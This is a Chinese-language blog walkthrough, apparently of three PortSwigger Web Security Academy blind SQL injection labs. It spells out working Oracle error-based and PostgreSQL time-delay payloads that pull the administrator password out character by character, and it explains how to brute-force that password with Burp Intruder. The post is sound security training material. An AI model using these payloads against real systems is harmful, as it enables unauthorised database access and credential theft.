Blind SQL injection with conditional errors

Lab: Blind SQL injection with conditional errors | Web Security Academy

這一次不像上一題Blind SQL injection with conditional responses,上一題如果邏輯錯誤會使得網頁上的welcome back消失,所以不管邏輯對錯都無法從網頁上看出端倪,只能強制觸發error(比如500 internal server error)來辨別。

step 1: (準備工作)

按Access the lab以後,進入以下網頁:

接下來把下圖的intercept設成on後,再去點上圖的Gifts。

這時會發現burp的畫面如下圖所示,而注入點是在下圖三角形處,以後所有的語句都是貼在三角形那,也就是W後面。

step 2: (漏洞測試)

首先先來個SQL語句' AND 1=2--,雖然預期會是error,但依然像下圖那樣回200 OK。所以想利用邏輯上的false是不行的,要利用conditional false。

step 3: (攻擊語句測試 1)

SQL語句:

' AND (SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE NULL END FROM dual) = '1'--

語句來源:

SQL injection cheat sheet | Web Security Academy

語句解析:

直接先挑上圖第一句。當然,是不是orcale,其實也要花些功夫去偵測。

SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE NULL END FROM dual

代表的是如果1和1是相等,就會回傳TO_CHAR(1/0),否則回傳NULL。

當然1和1相等沒錯,所以回傳TO_CHAR(1/0),整句的語句會變成

' AND TO_CHAR(1/0) = '1'--

那再來關注1/0,因為0當分母不合理,所以1/0會出現錯誤,把它TO_CHAR後也一樣是個錯誤,所以整句不成立,網頁會出現status 500,這種利用條件裡的語法錯誤即為conditional false。

執行結果:

step 4: (攻擊語句測試 2)

SQL語句:

' AND (SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE NULL END FROM dual) = '1'--

語句解析:

SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE NULL END FROM dual

代表的是如果1和1是相等,就會回傳TO_CHAR(1/0),否則回傳NULL。

1和2不相等,所以回傳NULL,整句的語句會變成

' AND NULL = '1'--

這時沒有錯誤,所以網頁會出現status 200

執行結果:

知道了這一點,就可以把WHEN()括號裡的東西換成我們的條件式。

step 5: (正式攻擊語句)

SQL語句:

' AND (SELECT CASE WHEN (SUBSTR((SELECT password from users WHERE username='administrator'),1,1)='0') THEN TO_CHAR(1/0) ELSE NULL END FROM dual) = '1'--

語句解析:

先看WHEN()括號裡的東西:

SUBSTR((SELECT password from users WHERE username='administrator'),1,1)='0'

這是指administrator的password第一個字是不是0。

再看AND ()括號裡的東西:

SELECT CASE WHEN (SUBSTR((SELECT password from users WHERE username='administrator'),1,1)='0') THEN TO_CHAR(1/0) ELSE NULL END FROM dual

這是指如果WHEN裡面的東西如果成立,則回傳TO_CHAR(1/0),否則回傳NULL。

再看整句:

因為administrator的password第一個字不是0,所以會回傳NULL,所以整句變成' AND NULL = '1',因為沒觸發到TO_CHAR(1/0)這個語法錯誤的式子,所以還是會回200 OK。

執行結果:

step 6: (攻擊語句暴力枚舉)

而接下來就可以猜密碼裡每個字是什麼了。我們需要枚舉第n個字是不是26個字母或是10個數字的其中之一,如果確定第n個字是什麼字,應該status會出現500。

需要送到intruder做暴力破解。上圖的畫面按右鍵後會出現以下畫面,按下圖紅底線處:

下圖的1-5是操作順序。先把1的那個字反白,按add \$;接下來再把3的那個字反白,再按add \$;接下來是把attack type改成下圖的,才能一次設定剛剛反白的兩個變數。

首先設定第一個變數,它是指password的第幾個字,所以設定如下。下圖payload settings的to的值設成20,當然第一次做不確定是幾個字,可以設多一點,反正到時看結果時只要看status 500就好。

第二個變數是26個英文字母跟數字:

接下來就可以按上圖右上角的start attack來開始猜密碼。

可以從上圖看到是先固定第二個變數,然後第一個變數先跑。上圖反藍處代表password第3個字是a。

當然這樣找很慢,可以按上圖紅圈處,讓status照大小排:

Blind SQL injection with time delays

Lab: Blind SQL injection with time delays | Web Security Academy

這一題很單純,就是只要DELAY10秒就可以了。官方提供的cheat sheet如下:

SQL injection cheat sheet | Web Security Academy

一個一個試過以後,可以發現只有PostgreSQL可以延遲10秒,不過不能直接把上面照貼,要稍微加工一下。

step 1:

跟上一題step 1一樣,按access the lab進入網站後,先把intercept開啟:

step 2:

再去點網頁裡的refine your search下面的其中一個:

step 3:

一樣把網頁的request送到repeater,並把語句插入到下圖紅底線所示的游標的後面:

step 4:

問題是要插入什麼語句。如果直接照貼' SELECT pg_sleep(10)是不行的。

最後試出來是

'||(SELECT pg_sleep(10)) --

||是連接的意思,比如說A||B就是AB。注意,不能用+號代替。

Blind SQL injection with time delays and information retrieval

Lab: Blind SQL injection with time delays and information retrieval | Web Security Academy

這一題是上一題的進階版。要利用time delay來判斷密碼的每個位置是哪個字,所以是要符合條件式後才能sleep 10秒。

先看看cheat sheet:

SQL injection cheat sheet | Web Security Academy

問題是底線處要換成什麼條件式。不過其實已經看過這條件式很多次了,就是:

SUBSTR((SELECT password from users WHERE username='administrator'),1,1)='0'

再重新解釋一次,這條件式的意思就是administrator的第1個字(第一個粗體)是不是0(第二個粗體)。

所以整個完整語句是:

SELECT CASE WHEN (SUBSTR((SELECT password from users WHERE username='administrator'),1,1)='0') THEN pg_sleep(10) ELSE pg_sleep(0) END

但是現在要可以注入,所以前後還要加一點東西:

'||(SELECT CASE WHEN (SUBSTR((SELECT password from users WHERE username='administrator'),1,1)='0') THEN pg_sleep(10) ELSE pg_sleep(0) END)--

第一個字元是單引號,應該算是注入必備。接下來是||,這比較難解釋;然後最後面加個--,功用是註解掉後面語句。

接下來就可以仿造Blind SQL injection with conditional errors這一題的step 6,去建構兩個變數後開始猜密碼。開始猜的時候,記得要先選下圖左邊紅圈,才會顯示請求的時間。

按一下上圖右邊紅圈後,可以把時間照大小排,就只要看超過10000(10秒)的就好了。


#blind sql injection: with conditional errors #blind sql injection: 攻擊語句暴力枚舉、類for loop #burp suite: 類for loop #blind sql injection: time delays #blind sql injection: 利用time delays猜密碼







Related Posts

Web Monetization 簡介

Web Monetization 簡介

筆記、前後端基礎概念

筆記、前後端基礎概念

How to Set Up Firewall with UFW on Ubuntu 20.04

How to Set Up Firewall with UFW on Ubuntu 20.04


Comments